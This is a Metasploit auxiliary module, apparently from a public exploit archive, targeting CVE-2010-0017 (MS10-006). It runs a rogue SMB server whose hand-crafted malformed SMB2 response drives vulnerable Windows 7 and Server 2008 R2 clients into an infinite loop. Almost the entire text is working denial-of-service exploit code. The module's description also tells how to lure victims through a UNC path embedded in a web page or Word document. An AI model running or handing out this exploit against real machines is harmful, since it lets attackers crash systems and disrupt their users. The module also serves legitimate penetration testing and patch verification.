Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::TcpServer  
include Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop',  
'Description' => %q{  
This module exploits a denial of service flaw in the Microsoft  
Windows SMB client on Windows 7 and Windows Server 2008 R2. To trigger  
this bug, run this module as a service and forces a vulnerable client  
to access the IP of this system as an SMB server. This can be accomplished  
by embedding a UNC path (\\HOST\share\something) into a web page if the  
target is using Internet Explorer, or a Word document otherwise.  
},  
'References' =>  
[  
['CVE', '2010-0017'],  
['OSVDB', '62244'],  
['MSB', 'MS10-006'],  
['URL', 'http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html']  
],  
'Author' => [ 'Laurent Gaffie <laurent.gaffie[at]gmail.com>', 'hdm' ],  
'License' => MSF_LICENSE  
))  
  
register_options([  
OptPort.new('SRVPORT', [ true, "The SMB port to listen on", 445 ])  
])  
end  
  
def run  
print_status("Starting the malicious SMB service...")  
print_status("To trigger, the vulnerable client should try to access: \\\\#{Rex::Socket.source_address('1.2.3.4')}\\Shared\\Anything")  
exploit  
end  
  
def on_client_connect(client)  
client.get_once(-1, 1)  
req = "\x00\x00\x00\x9a" + # 9e is the real length of the response  
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00" +  
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +  
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41" +  
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00" +  
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01" +  
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20" +  
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e" +  
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"  
client.put(req)  
client.get_once(-1, 1)  
client.close  
end  
end  
`